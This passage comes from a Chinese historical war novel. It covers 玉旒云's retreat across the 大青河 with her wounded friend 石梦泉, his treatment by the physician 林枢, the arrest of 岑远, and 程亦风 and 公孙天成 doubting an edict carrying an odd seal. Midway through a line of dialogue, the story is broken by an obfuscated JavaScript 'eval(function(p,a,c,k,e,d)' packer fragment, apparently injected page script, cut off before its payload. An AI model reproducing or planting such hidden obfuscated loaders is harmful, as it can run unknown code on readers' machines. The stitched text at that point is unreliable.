玉旒云发觉马背颠簸,石梦泉的伤口稍一愈合,又即开裂,鲜血将马鬃都粘成一绺一绺的。她暗想:这样下去不是办法,可又不能停下休息……唉!因解了披风下来,将挚友紧紧包住,低声道:“梦泉,你坚持住。再有十里地,就过河了。” 如此又行了六、七里,就快要到瑞津的栈桥边边了,前面领队的罗满和赵酋忽然一惊:“不好,是楚军!”众人顺他们所指看去,果然不假,鹿鸣山两峰之间有狭长如走廊的一处关口,楚军正从那里走出来。 “骁骑营,抄上去将他们拦住!”玉旒云喝道,“全军继续前进,全速前进!” “是!”陈灏领命,号令部下直杀到山前。那关口狭窄,楚军从中走出,并排只得七八个人。骁骑营策马在前一挡,钢刀猛劈,长抢乱搠,立刻就形成了一夫当关之势。楚军将领不得已,下令暂时退回走廊之中。樾军便乘此机会疾向西撤。 骁骑营大约抵挡了半个时辰,料想步兵也该撤到栈桥了,才丢下楚军,驰马追赶。楚军狼狈不堪地从关口中出来,再放箭攻击,却已迟了。 然而陈灏的料想却并不完全对。玉旒云一行到了栈桥跟前,先让伤兵撤退,可还未撤得一百号人,就看西面乌云翻卷似的来了一队人马,队列整齐,士气高昂,不知有几万之众,当先飘扬的一面大旗上面是个鲜红的“楚”字,后面几面略小的旗帜就写的“程”字,竟是程亦风的队伍到了。 “他娘的!”罗满骂道,“程亦风这小子果然阴险。玉将军,您带石将军先过去,卑职跟程亦风拼了!” “混帐!”玉旒云骂道,“如今的情形,怎么能跟他拼?只能挡得一时是一时——伤兵继续撤退!” 赵酋看到对岸神弩营的人在河滩上向楚军放箭,可大青河此处河面甚宽,箭矢即便能飞过河去,也都是强弩之末,碰到人身上,比蚊子叮一口还不如。楚军的行进半分也不受影响。 “玉将军,不如叫对岸的人过来支援,也许跟程亦风还有得一拼。” “愚蠢!”玉旒云厉声道——对岸的人哪有那么快就过来?即使过来了,且不论胜败,将来总要多撤退一批,也就是多一批可能陷在楚国。 这些话,不必解释给他们听。他们是部下,只要服从就行了。想着,玉旒云拔出剑来一指:“还不快集合所有能战斗的士兵,排成楔形阵,跟我去冲散楚军的队伍,务必挡住程亦风的人,坚持到骁骑营来增援为止——其他人继续撤退。” 玉旒云与石梦泉不同,她一入军队就是将校——樾国的皇亲贵胄子弟大多如此,留在京中的,多挂上个“侍卫”“禁军”的闲职,要出来历练的,就封个将军的虚衔,实际,有的人跟着军队只当游山玩水,真正有心的人也都是做幕僚,绝少有亲身指挥的,身先士卒的几乎没有。真正一直跟着玉旈云的士兵,乃是在落雁谷见识到这位贵族将军阵前的勇猛,后来陆续收编的人——以及岑远和部下们,则是第一次见到她这样毫无顾忌地跃马冲向敌人。士兵们有的一愣,但立刻在心中升起了与将军“同深共死”的豪情,凡还有力气战斗的,都嘶叫着跟了上去,在栈桥以西迅速地结成楔形阵列。罗满打头,直朝楚军冲去。 楚军的队伍当然是程亦风的人,不过却是公孙天成派来的。 司马非早有鸽子传信回平崖,说远平已下,樾军溃逃,已安排人中途截击,等等。程亦风看到这信时,只想:那么说,大青河之战终于结束了?仔细瞧了瞧报上来的伤亡,千多人,虽然比过往的战役少许多,但还是不得不为这些丧命的年轻人扼腕叹息。 不过终于可以舒口气:“穷寇莫追,别把人家赶尽杀绝了。” 小莫——带了崔抱月等人平安归来,公孙天成也就不好坚持说他是奸细——从旁附和道:“可不是,都说兔子被逼急了还咬人呢。要非和樾国的败军打起来,咱们说不准会死伤不少兵士。” “大人,老朽并不这么认为。”公孙天成沉着脸,“从远平溃逃出来的有玉旒云的心腹石梦泉,假如能将此人除掉,玉旒云就会失去手臂,有很长一段时间要一蹶不振。况且,玉旒云不是打算去接应他么?倘能将玉旒云也一并除掉,则楚国就可安稳不少日子了。” 程亦风皱着眉头,计算代价:玉旒云想从远平打开通往楚国南方的大门,这个如意算盘已经彻底被砸碎了。司马非驻扎远平,她就绝无可能再从北面攻进去。若再向下游,势必将战线拉得过长——玉旒云不会犯这种低级错误。如果回过来攻打平崖,可能性也是微乎其微的,此等雄关,除非守将是没脑子的蠢材,否则以十倍的兵力,大概可以一试。其他上游的城关也不可能成为玉旒云的目标。如果玉旒云真是那么了不起的一个少年奇才,此刻应该全力以赴只做一件事——将损失降到最低,把楚国境内的部下和心腹挚友营救出去。 如果是这样……他用手指轻轻敲着桌面,那么玉旒云应该没有带多少人,石梦泉又只剩残兵败将,假如派出大军去袭击他们,应该可以将他们击破……可万一失手呢?不如卖个人情给玉旒云,放她归去,并以此为契机缔结盟约?但玉旒云会不会领这个情呢? 想来想去,没一个结论。 “大人!”公孙天成面色凝肃,“战场上每一刹那生死都会变换好几回,实在不能迟疑!” 程亦风怔怔地看着他。 公孙天成凑近了些,但恭顺地俯身行礼道:“程大人应该还没有忘记当初承诺老朽的事吧?” 这次出兵完全听从他的计划?程亦风没有忘记。 “大此时此刻为止,老朽的计划也还没有令大人失望吧?”公孙天成又道。 不错,虽然是叫人担忧了许久,可远平拿回来了,崔抱月的民兵也安全地撤回来了——还得了“主动撤退”,而非“被樾军击退”的好名声,并且,伤亡一千多,还不到当初公孙天成“军令状”里的两千人。老先生的安排可算运筹帷幄之中,决胜千里之外。 只不过,为什么对此人的感觉和在鹿鸣山时完全不同呢?会觉得他有些……阴险?程亦风甩去这个想法:如果公孙天成有一丝为自己争功名的想法,就不会一切都以程亦风的名义来办了。也许当真是“成大事者不拘小节”吧?我程亦风毕竟不是成大事的人哪,否则,俗语为何说“百无一用是书生”呢? 他就不再争辩,算是默许了。 公孙天成因派出两万骑兵,星夜由远平取道向东,在山谷中一路疾奔,之后从山坳捷径插到了河滩上。其时,扬长避短,放弃马匹改为徒步行军,仍然不早不晚,正好赶上同玉旒云遭遇。领军的几名将领还以为这是程亦风的“神机妙算”,都打心底里叹道:这个程大人,简直了不得! 不过他们在看到玉旒云指挥着人马排成匕首般的队型,直朝己方插来时,心中更是震惊:他们难道不怕死么?这实在有些棘手。望见马上擎着长剑的年轻将军,整个人就像用千年不化的坚冰雕刻而成,美则美矣,但叫人望而生畏——他们都还是第一次见到玉旒云,虽然晓得她是个女子,却没有想到会是这样近乎“凛冽”的模样。 思念间,樾军的队伍已经杀到跟前。玉旒云一马当先,挥剑将一个楚兵砍成两半,她左右是罗满和赵酋,一个勇猛,一个犀利,后面樾军将士也个个奋不顾身,楚军竟仿佛全然招架不住似的,刹那就被杀出一个缺口来。 将领们怎看得过去,高声呼喝手下拦截敌人。但楚兵似乎完全被樾人这种玩命的打法震慑住了,不往前进,反向后退。缺口越变越大,没一刻工夫,樾军从楚军阵中斜插了出去——那方阵看来就像是被人砍下了一个角似的。 玉旒云回头望望,见伤兵约有半数已过了河去,即令众人再次冲回楚军阵中。如此往来了两三回,伤兵终于全都安然过了河去,她才下令:“撤退!”那当儿,骁骑营也追赶上来了。 楚军见对方来了援军,更是胆怯。几名将领气得大骂:“咱们这么多人,一人吐口吐沫也淹死他们。怕什么,别让玉旒云跑了!” 楚军士兵心中一盘算:可不是么?杀掉玉旒云,就是大功一件,而现在正是大好时机! 于是,看到双方距离稍一拉开,楚兵立刻弓箭伺候。玉旒云听得“嗖嗖”之声擦着自己的耳边而过,轻斥了声“可恶”,但知道即使再杀回去,也只能挡一时,不能成大事,始终要陷入这种境地之中,唯有迅速撤退,引火烧死追兵才能将麻烦彻底解决。她因而高声令道:“步兵继续撤退,不要回头,全速撤退。”同时叫骁骑营:“弓箭还击!掩护!” 骁骑营驰到跟前,也如开始在鹰眼崖时一样,组成了一道墙壁,将步兵挡在后面。然而这次却占不得丝毫便宜:楚军人数有压倒优势,箭矢如蝗又使骁骑营不能近身,发挥不了其凶猛的特性,只是惨烈地,将前排的马匹作为肉盾而已。 才只一柱香的工夫,马匹倒毙了数百头,尸体堆积如小山一样,正好做了樾军弓箭还击的壁垒。楚军有片刻工夫寸步难前。 玉旒云看罗满和赵酋已将剩下的步兵全数带过河去了,于是下令骁骑营也撤退。失去马匹的先走,其余的跟在后面,利用河滩上那马尸做障碍,暂时拦住楚军。 不过,这缓兵之计也长久不得,骁骑营的骑兵们才刚刚踏上栈桥之时,楚兵就已经越过障碍杀到他们背后了。 玉旒云只是大声号令:“不要停!不要管后面,冲过去!” 骁骑营的人此时当然也管不了背后,快马加鞭直奔北岸。玉旒云混在队伍中间,回头望望,不知楚军会不会追上栈桥来。 楚人果然有些犹豫:对面就是樾国了,此次石梦泉之败就败在孤军深入,他们要重蹈覆辙吗?不过,看对面敌方的神弩营也没有多少人,楚军依然占有兵力优势;而且,现在追上去,跟玉旒云的队伍混在一处,神弩营应该有所忌讳,不敢轻易放箭吧? 诛杀敌人的主帅。这项功劳的诱惑实在太大了。楚方将领当即命令:“追上去,活捉玉旒云!” 玉旒云见到,嘴角挂上一丝冷笑:领兵在外就得懂得审时度势,懂得取舍,这群蠢材,若他们抢先放火烧桥,我哪里还有命在?是不是,梦泉? 石梦泉被绑在她的背上,头歇在她的肩膀,昏迷不醒,自然不能应她的话。不过,她想她知道挚友会如何回答:“是,哪里人人都像玉将军,敢取敢放?”而她就会一拳捶过去:“你少学人家拍马屁,换作是你,还不是一样?世上只有我们两个……我们两个……” 思绪被打断了,楚人已渐渐追了上来。还有一些竟仗着南民水性好,从大青河里扶着铁索泅游了过来,速度比在栈桥上行走快了许多。其中一些竟拦到了玉旒云的前面。 混蛋!玉旒云暗骂,挥剑劈死一个敌人,但第二个、第三个又冒了出来,转瞬拦住了她的去路。她看看骁骑营大部已去得远了,只有少数人跟自己困在此地,又瞥了一眼脚下浊黄的大青河水,把心一横,举起剑来:“神弩营,你们还等什么?” 那边韩夜正心焦,看到将军给出这个信号不禁一愣:这是叫他现在就放火箭?那岂不是要把玉旒云和石梦泉都烧死了?这怎么行!他摇了摇头,没有立即执行命令。步军营的人早由慕容齐带了混在神弩营后侯命,见此情形,道:“骁骑营大部都过河来了,还是咱们去接应玉将军吧?” 韩夜想:倒也只有如此。因点了点头。神弩营让开道路,全副武装的步军营迅速地冲到了河边。 南岸的楚军将领一看:这还了得?我们这样拉长了队伍冲过去,正好撞在人家的剑上而已。即下令:“砍断铁索!孤立玉旒云!其他人撤退!” 玉旒云见状,真是恼怒万分——楚军见火起,必然大乱,而自己离岸只有几丈之遥,不见得冲不过那火海去!但却有没有法子,只在心里狠狠咒骂韩夜和慕容齐。无论如何,她都不要落在楚人的手中,她不要回到凉城,不要去到皇宫……与其那样,还不如赌命,死就死了! 伸手解开身上的甲胄,在怀里摸到了一个火折子。心下不由一阵狂喜:好,倘我玉旒云今日命绝于此,至少可拉上几个陪葬的! “骁骑营!”她最后一次向与自己同生共死的队伍发出命令,“想回北方去的,就跟着我!”说时,打起了火折子,将甲胄和那团火焰一起,抛在了装满稻草的船上。同时,连人带马,跃入了大青河的波涛之中。 楚军哪里料到有此一变,不知是该惊讶于玉旒云的投河之举,还是应该骇异于瞬间舔到自己面前的火舌。 骁骑营剩余的部众全都跟着玉旒云跳入水中,马匹识得水性,朝北岸奋力泅游。楚军身上着了火,也都纷纷跃入河中保命,他们朝着南岸退——双方距离一拉开,神弩营就朝水中放箭,这些都是训练有素的弓弩手,十有九中,不少楚兵命丧河中。 玉旒云虽然丢了甲胄,减轻了部分重量,但她负着石梦泉,所以坐骑还是相当吃力,有几次都沉到水中了,但这忠心耿耿的马儿又拼了全力冒出水面来,不让主人窒息。 离岸边并不远了,可水流却突然湍急起来,似乎在看不见的地方有个旋涡似的,玉旒云不由自主地就被朝那边拉。而有几的骁骑营的兵士已被卷入水底。 “可恶!”玉旒云骂,“楚军且杀不死我,难道大青河能把我怎样?”拍了拍坐骑的脖颈,鼓励它继续登岸。 “玉将军……”虚弱的声音突然响在她的耳边,“别管我了……把我放下吧!” 玉旒云转脸看了看面如金纸的挚友。“混蛋!”她骂道,“把你放下了,我怎么办?没有你,我将来怎么办?” 石梦泉一愕,正在一丝一线离他而去的力量顷刻又回到了体内。而那马似乎也通人性,长嘶一声,刹时就脱离了旋涡的掌控,朝岸边猛力游去,进了丈余,已踩着实地了,再进丈余,水面只到马的膝盖。玉旒云心里一松,人就翻落下去。 她并没有昏睡很久,醒来时,在瑞津县令的私宅之中,县令把老婆、小妾、女儿、媳妇都拨来照顾她——那县令的千金先还以为这青年军官是个俊俏男子,羞得满面通红,到了包扎伤口更换衣服之时,才发现跟自己同是女儿身,不免有些失望,心中不住地想:要是个俏郎君,该多好! 这心思弥散在少女的心房,是以玉旒云醒时,姑娘面上的红云还未褪去。 玉旒云只是手臂上受了些轻伤,翻身坐了起来,第一句话就问:“他呢?石梦泉呢?” 县令的老婆反应了一下,才想起问的必然是“那个人”了——丈夫说过,这玉将军虽然脾气坏得很,但总算是有情有义,恶战之时,自己最后撤退,还背着一个受伤的部下,死也不肯放松。妇人连忙答道:“安顿在西厢里,郎中们正照看着呢!” 玉旒云二话不说,连鞋子也不穿就下床冲出门去。几个女人连忙拿着披风跟后追。可玉旒云步子极快,若非她不知西厢房在哪里,恐怕这些妇人做梦也别想撵上她。好歹给她套上了鞋子,裹上了衣服,才众星捧月似的簇拥到西厢来。 一进门,已经闻到浓重的药味。瑞津县令大概是为了显示忠心,把全县所有的郎中都召集来了,满屋子不同颜色的脑袋——银白的,花白的,灰白的,黑的,秃顶的……玉旒云被挡住了视线,根本看不到石梦泉在哪里。 她清了清嗓子。 有人回过身来。县令本来坐立不安地被挤在一旁,这时连忙迎上:“玉将军,您怎么不多休息一会儿?” 郎中们才知道,这是皇上面前的第一红人到了,纷纷闪开两边,躬身行礼。 玉旒云轻轻“恩”了一声,朝石梦泉的床边走。却见那里还有一个郎中不肯让开,不悦道:“你是何人,为什么挡着本将军的路?” 那人并不让开,甚至连头也不回,道:“在下不是挡着将军的路,在下是想挡着这条黄泉路,不让这位病人走上去。” 玉旒云一愕:“怎么,很凶险么?” 这郎中点了点头:“能活到这时已经很稀奇了,眼下……” “怎样?”玉旒云迫不及待地打断,“只要能救得了他,什么千年人参,万年灵芝的,就是龙鳞凤目我也有法子弄来。” 这郎中才终于转头来看她了。这是一个约莫三十岁年纪的清瘦男子,容貌寻常,如果不是眉心有一粒杏仁大小的朱砂胎记,恐怕在茫茫人海之中,决没有人能认出他来。他面色平静地看了看孩子般失措的玉旒云,似乎是被她对友人的关心所震动了,眼里流露出一些敬佩之色,淡淡道:“要是玉将军真的什么都能弄到,那千年人参、万年灵芝的确还管些用,至少可以保住他的体力,在下也好医治。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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县令心里的大石头放下了半边,眉头的疙瘩都松开了:“多谢,多谢。就不知道那灵芝有没有着落?” 几个掌柜都摇头。唯其中一个道:“灵芝不是没有,却不太好用。” 县令道:“怎么讲?” 那掌柜道:“西瑶国来的,刚好一万年寿龄,本来是预备做贡品的,不过听说西瑶国内又找出另外一株来,不仅寿龄一万年,形状还像是赑屃,实在难得,就商议用这一株来替换。不过因为还没运到,所以谁也不敢动现在的那株,怎么说都是候补贡品嘛……” 县令听言,点点头:“倒也是……” 可话音还未落,就听玉旒云的声音寒冰似的插了进来:“贡品么,运到了京里,还不是由皇上赏赐给他人的?只当我提前向他讨赏好了。何况这还只是候补贡品——” 这些掌柜们还是第一次见到她,虽然心里咒骂了无数回,也许要还发誓见了她的面也要指鼻子痛骂的,可一时相对,竟全都呆了:不为她的年轻,也不为她的俊秀,只为身上那一股霸气,寒光四射,刺得人立刻矮了一截。 玉旒云走到了那掌有灵芝的掌柜跟前:“在你店里么?你只管开个价钱,我要了。” 那掌柜额头上汗水涔涔而下:“玉……玉公爷,这个……小人可不敢做主,候补贡品也是贡品,但万一朝廷追究下来……” “追究下来自有本将军担着呢,你怕什么?”玉旒云打断他,“且开个价钱。” 那掌柜嗫嚅着:“本来是寄放在小店中,这种稀释珍宝,小人怎么敢乱开价钱……小人也不敢要玉公爷的钱。” “胡说。”玉旒云道,“我又不是巧取豪夺的康申亭,既然要这件东西就一定要给银子。要多少都无所谓。我不信这世上除了人命之外还有无价的。” 那掌柜眼珠子乱转,大约从玉旒云的语气里听出她为了救得石梦泉的性命一切代价再所不惜,感觉这实在是敲诈一笔的大好机会,但无奈灵芝并非他的,只好道:“不是小人不开价,这灵芝是西瑶之物,使者现在又回国去了,小人问不来。要不然……玉公爷立一张字据,只说您取了这灵芝去,待西瑶使者回来,小人就叫他拿了这字据去京城找您,如何?” 玉旒云道:“好。”即叫县令文房四宝伺候,立下字据,又盖了官印。那掌柜捧着,回到店里,没多时就取了灵芝来。玉旒云亲自拿去交到郎中的手里。 郎中看了看,并不发一言,叫给小童去后边准备,过了一两个时辰,端上一碗黑褐色有着浓烈酒味和药味的液体来,郎中一滴不漏,全都灌进了石梦泉的口中。 玉旒云眼睛眨也不眨地看着,希望立刻就能见到奇迹。不过,直守了差不多一顿饭的功夫才见到石梦泉的面色起了变化,眉头微皱,双目似要睁开。她不禁欣喜地凑到了床前,唤道:“梦泉,你可醒了么?” 不想,石梦泉忽然剧烈地咳嗽了起来,整个身子颤动如同痉挛,郎中才要按住他,他却突然从床上弹了起来,“哇”地喷出一口鲜血,正溅在玉旒云月白的衫子上。 其他的郎中们七手八脚地上来帮忙,丫鬟仆人们纷纷围上来向玉旒云问长问短。而玉旒云只是怔怔看着自己身上的血迹,仿佛是她被刺出了一个伤口在向外流血一样。她感到椎心刺骨的疼痛。 她“唰”地拔出了剑来,寒光凛冽,架在了郎中的脖子上:“怎么会这样?你是怎么给人治病的?” 郎中淡淡地,不见一丝惊慌:“他腹中积满了脓血,不吐出来怎么会好?” 玉旒云一愕,于医术药理只有粗浅的知识,不知该不该信。 旁边其他的郎中道:“便是如此,也不能乱用虎狼药。万一身子架不住,岂不是没命了?”又有道:“先不是说要慢慢调理好了基础,再施以针石么?怎能仗着人参灵芝的药力就卤莽行事?”还有道:“什么百草门的嫡系传人,我看他师傅要被他气得从棺材里爬出来……” 这话一出,郎中们的议论立刻从医术药理转向了“百草门”,似乎人人都对那“师傅”万分崇敬,但恨不得把这徒弟踩个稀烂。 玉旒云又焦急,又愤怒,完全没了主张,近乎绝望地望向石梦泉——以往自己冲动任性的时候,总有石梦泉冷静地安抚,可如今……蓦地,她惊讶地发现石梦泉的眉头舒展开了,面上的潮红渐渐褪去,呼吸也平复了下来。她赶忙又走回了床前,问道:“梦泉,你怎么样?” 石梦泉没有答她,微微地侧过身子,似乎正睡得安稳。 莫非这郎中用的药奏效了么?玉旒云心道,果然了,自古有才能的人多遭人妒忌,听这些人的语气,似乎对百草门颇为敬畏,却偏偏要将这位郎中贬得一无是处。自昨夜起,他们这伙人虽然全挤在这屋子里,却有哪一个开出一张方子,抓过一副药,甚至提出一条意见的?若当真觉得旁人的做法有问题,方才竟不说出来,只会放马后炮,可不就是庸才! 玉旒云眼里容不下一粒沙子。心思沉静下来想清了原委,即冷一声:“都给我住口!” 那些叽叽呱呱的郎中们一怔。她又接着沉声道:“你们这样还像是做大夫的人么?病人还躺在这里,你们便闹得像鸭子塘——全给我滚出去!” 郎中们呆呆的,看她瓷白的脸被衣服上的血迹一衬,显得愈加阴冷,不禁打了个哆嗦,一个跟一个灰溜溜地出去了。 最后要走的是那眉心有朱砂印的。玉旒云叫住了他:“你留下。” 郎中有些斜睨了她一眼,仿佛说:方才还质问我怎么给人治病,现在又叫我做什么? 玉旒云收起冷傲是神气,道:“请问大夫高姓大名?” 郎中愣了愣,道:“不敢。草民林枢。” “林大夫。”玉旒云点了点头,似乎是自言自语,“百草门是你们这一行里名门吧?” “名气靠口碑而来的,而口碑是从病人而来的。”林枢道,“百草门到先师已传了六代,枢不愿有辱师门。” 玉旒云微微一笑:“不愿有辱师门,你就要治好——治好了他,我可奏请皇上,钦封你百草门为天下第一医馆。” 林枢并不立刻答应,垂头沉思。 玉旒云眼中飘过一丝不悦:“怎么,你没把握?” “不是。”林枢道,“在下有十分的把握,但是将军要将此事全权交托给在下负责,不得干涉在下的决定。” 玉旒云皱了皱眉头:倒也不算过分,所谓用人勿疑,疑人勿用——她因点点头:“好。” 林枢道:“谢将军。请将军自行休息,在下要研究脉案药方的。” 玉旒云本还想多留一会儿,也许石梦泉能醒过来,不料林枢竟下逐客令。无奈自己才答应了人家一切由他全权负责,不好出尔反尔。只得又深深地望了石梦泉一眼,既而正色对林枢道:“我再提醒你一次,他活,你就好,他若是死了,你自求多福吧。”说完便退了出来。 丫鬟仆妇们早就候着了,服侍她换下了那身血服,她便吩咐备马出门,去探望其余的部下们。 她策马在运河的河堤上,时辰尚早,天空飘着毛毛雨,硝烟与血腥的味道早被洗得一干二净,仿佛大战从来没发生过。 那是错觉,她知道。踏进临时提供伤兵们休息的库房,恶臭和呻吟扑面而来,这时候,哪怕是最有诗意的人,也再想不起外面那烟雨蒙蒙的春色。 大青河之战,粗略的估计,阵亡士兵近一万人,也就是说,石梦泉和罗满带出去的人马几乎全军覆没,还不算石坪城里损失的——这在她领兵以来算是最惨重的一次了。关键是,以往即便有伤亡,但是攻城掠地,无往而不胜,这次却是徒劳无功的,苦心安插的细作也许暴露了,精心设计的战略彻底失败——且楚国将来必在远平加强防卫,再要想从那里突破是不可能的了…… 负伤的士兵就躺在她的脚边,因为临时搭建的床铺不够,许多人只有一领草席,连被子都没有。医官前后忙碌,跑得脚不沾地,看到她来了,急急上前请安问好。玉旒云道:“你们且忙你们的,人手不够,有些容易的活儿,我可派步军营里的人来帮忙。” 医官连声答应,却并不敢真的就走开,直到玉旒云挥手赶他,才倒退着离去。 玉旒云看到了罗满和赵酋,这两人浑身是伤,但都不算重,还在四处走动着,跟各自的下属说话,见了玉旒云,也便来参见。玉旒云让他们免礼,他俩却同声请罪,说未能完成远平的任务,致使石梦泉受伤,理应受到惩罚——又说道刘子飞和吕异拒绝支援的事,玉旈云捏紧了拳头:这两个老家伙,以为踩低了她,就抬高了自己么?总有一天把他们也踩在脚下! “刘子飞和吕异既然有信来,为什么没有报告给我?” “这……”罗满犹豫了一下——岑远毕竟是岑广的继承人,所以石梦泉也一直保他,如果揭发出来…… 赵酋却不顾了,怒道:“还不是岑总兵做的好事!”因把岑远在远平的作为都说了一回,虽然不全是坏事,但是违抗军令就是大忌。 玉旈云的眼神越来越锋利,刺得人直打冷战。看到岑远就在一边包扎,就走了过去——仔细追究起来,那么周详的计划,第一个脱节的地方就出在岑远的身上,如果不是他自作主张不救石坪反攻远平,一切也许都会不同。如今,多少士兵牺牲,多少士兵要落下残疾,可岑远只是头上磕破了,算是这里所有人中最康健的一个——连玉旒云也在强渡栈桥的时候被流矢割伤了好几处。 “你居然还没有死?”玉旒云近乎恶毒地说道。 “托玉将军的福,卑职还留着这条贱命,以求将功赎罪,”岑远垂道,“请将军给卑职一个机会。” 玉旒云冷笑:“给你机会?你——”她想找出些更刻薄的话来,但又觉得无论什么言语都不能表达自己对此人的厌恶,便直接对罗、赵二人道:“还不给我拿下了?” 岑远本来以为玉旈云无非是像石梦泉一样训斥自己几句就算了,未料动了真格,赶紧跪下:“请玉将军再给卑职一次机会吧,我们岑家就只剩下卑职一人了呀!” “哦……”玉旒云听他如此强调自己的家世,笑得更冷,“你不说,我还想不起来。岑广老将军要靠你你这样一个继承人来光耀门楣,不知是你岑家的不幸,还是我大樾国的不幸——还不把他给我拿下!待押回京城,军法处治!” 这次命令得再明白不过了,罗满、赵酋一边一个上来反剪了岑远的手臂。岑远哀叫这求饶,可玉旈云连看也不看他一眼,而是坐到一个伤兵的床边,慰问人的伤势去了。 这是怎样的一个人哪!一些伤兵看呆了,关怀和冷酷,似乎是她的两面,但又仿佛交织着,难以分开。 21. 第 21 章 大青河正面战场的战争到此可以算告一段落。在后世的人看来,一场战役分出了胜负那就是结束了,史书的一个篇章也就此结束,太史令可以翻过一页去,继续说一年后甚至十年后的战役。不过,身在其中的人,却不知道这是不是真的“告一段落”,因为后面还有无限的可能性——如果两国坐下来和谈,战胜国会提出怎样的条件?是要割地赔款,还是惩处那最先挑起战端的将领?如果不愿和谈,如果楚国选择乘胜追击渡河北伐,双方的胜算各有多大? 这都是玉旈云在担心石梦泉的身体之余还需要操心的事情,也是河对岸主议和的程亦风和主北伐的司马非争论不休的问题。楚军的战士有支持程亦风的,也有支持司马非的——如果说落雁谷的胜利是程亦风瞎猫碰了死老鼠并且主战派需要自欺欺人的话,大青河可以算是樾楚正面战场,属于楚国的一次无可厚非的胜利——在这种情况下,无论是战是和,都是对楚国有利的选择——战报已经八百里加急送回了凉城,相信崇文殿和靖武殿很快就会有结论,太子竣熙会替元酆帝发圣旨来,无论决议如何,楚国都扬眉吐气。 平崖充满了胜利的喜悦。 圣旨来得很快,那天天气晴好。程亦风、司马非在平崖城外跪接圣旨。传令兵本来是将那明黄的卷轴交给程亦风的,但是被司马非一把抢了过去——那神情,仿佛怕程亦风的手有妖法,能够把凉城的“北伐”的决定都变成“议和”似的。不过,当他展开卷轴,立刻傻了眼:“什么?这是什么意思?为什么会这样?” 程亦风赶忙凑上去看,之间圣旨简简单单只有一条命令:不北伐,不议和,司马非就地驻守,程亦风立即回京。于是,他也傻了。 春天的阳光顷刻变成了湿的,向平崖兴奋的官兵们兜头泼了一盆冷水。 “他娘的,肯定是冷千山这帮龟儿子搞的鬼!”司马非大骂道,“这群混蛋若不干点儿祸国殃民的事,就不甘心——”他完全忘记之前还和程亦风争论不止,一巴掌拍在程亦风的肩头,险些把这位文弱尚书整个儿拍散架:“走,我和你一同进京,看看他们到底搞什么名堂!” 程亦风心里也有百千疑问,不过司马非离开平崖的话,边关岂不是要大乱了?“万万不可!”他道,“樾军虽然失败,但是不见得就此死心,倘若司马将军不坐镇大青河,万一他们卷土重来,岂不前功尽弃?” “这……”司马非方才是一时激怒,才恨不得立刻飞回京城找冷千山一党理论,经程亦风一提醒,自然记起了自己的责任来——首先圣旨不可违抗,否则就是给冷千山抓小辫子,其次,他留在这里,将来无论是战是和,都会由他全权负责,这是一个建功立业的好机会。至于京城里的那场口水仗,就留给这个书呆子来打——万一出了纰漏,也是这个书呆子来背负。 如此一想,便拍大腿赞同:“好吧,就拜托你回京城去搞个明白——我看就是冷千山趁着你不在便兴风作浪,太子毕竟年轻,经不住他们这帮人搅和。不过太子一向都很敬重你,你一定要力挽狂澜,不能把将士们的血汗浪费!” 自己对竣熙能有多大的影响,程亦风不知道,但是也认同司马非的猜测——竣熙还年少,朝廷里这些乌烟瘴气的党羽很容易把他迷惑吧! 事不宜迟,他吩咐小莫立刻准备车马,自己则同公孙天成收拾细软,预备日夜兼程赶回凉城。 只是,才回到房中,公孙天成就掩上了门:“老朽认为大人不应该走。” “什么?”程亦风愣了愣,“先生不是也支持晚生议和的主张吗?若不回京说服太子,再拖下去,这场仗不是白打了?” “老朽觉得这件事情跟太子没有关系。”公孙天成将圣旨展开,指着上面加盖的印章:“自从太子监国以来,圣旨除了加盖御书房‘万几辰瀚之宝’外,就加盖东宫‘同道堂’印章。这封圣旨上盖着‘玄牝之门’,大人几时见过?” “玄牝之门?”程亦风方才只顾着看圣旨的内容,没有留心印章,这时顺着公孙天成所指看去,果然不见那熟悉的“同道堂”,而是金文“玄牝之门”四个字。这几个字出于《道德经》:“谷神不死,是谓玄牝。玄牝之门,是谓天地根。”虽然“玄牝”也做“乾坤”之解,但是此句暗含“阴阳交合”之意,竟然会加盖在圣旨之上,简直是滑天下之稽。程亦风不禁“啊呀”了一声:“先生的意思,这圣旨是假的?那方才怎么不说破?” “老朽没有说圣旨是假的。”公孙天成道,“老朽只是说这圣旨不是出于太子殿下之手。朝廷中肯支持大人的就是太子殿下。这种圣旨能发出来,说明太子出了事——如果太子出了事,大人就没有了靠山,冒然回京去,不是送羊入虎口么?” 程亦风盯着那圣旨:“太子殿下是万岁的独生爱子,朝中权利一人之下万人之上——圣上早已不理政务,后宫妃嫔的娘家虽然都有权优势,但也没有到左右朝政的地步,且又没有宦官专权——太子能出什么事?他出了事,谁在把持朝廷?” “一个喜欢修道的人。”公孙天成似乎知道那人的身份,却不肯告诉程亦风:“总之大人不应该回去。” “先生又和程某打什么哑谜?”程亦风虽然感激公孙天成在大青河打了这场漂亮仗,但是一直以来自己做傀儡,心中难免还是有些郁闷。尤其是公孙天成为了胜利使出的许多手段,他不能认同:起先让民兵和杀鹿帮冒险和樾国正规军交锋,这些就不提了,后来竟然想用黄花蒿毁灭樾国良田,实在让他心里像扎了根刺似的。这次如果再让他把自己蒙在鼓里,还不晓得又要搞出什么事来。就忍不住发作了:“太子如果出了事,朝政如果被其他的人把持着,难道不是更应该回京营救吗?难道要坐视不理?” 公孙天成看了他一眼:“老朽没有要大人坐视不理。关键是,老朽只是想提醒大人,如果回去了,只是搭上自己的性命,那么此举有何意义?倘若留下来,或许有别的解决办法。” “什么解决办法?”程亦风道,“请先生明示!晚生答应大青河之战一切都听先生的安排,却没有答应以后都做先生的傀儡。先生若不把计划说清楚,这一次,晚生恕难从命!” “傀儡……”公孙天成低喃,又看了程亦风一眼,这次眼神有了很大的改变,有惊讶,有遗憾,有痛心,又有理解,复杂得就像老先生本身一样,难以解读。他叹了一口气:“民为贵,社稷次之,君为轻。这话大人一定知道。” 程亦风科举出身,当然熟读四书五经。 公孙天成道:“那么当三者出现矛盾的时候,大人应该先保哪一个?” “当然是……”程亦风几乎冲口而出“先保民”,但是立刻意识到这个问题的刁钻——如果永远不打仗有利百姓,莫非就要把江山拱手送给樾人来统治,以达天下一统吗?如果皇帝昏庸,难道做臣子的为了社稷着想,就要弑君犯上吗? 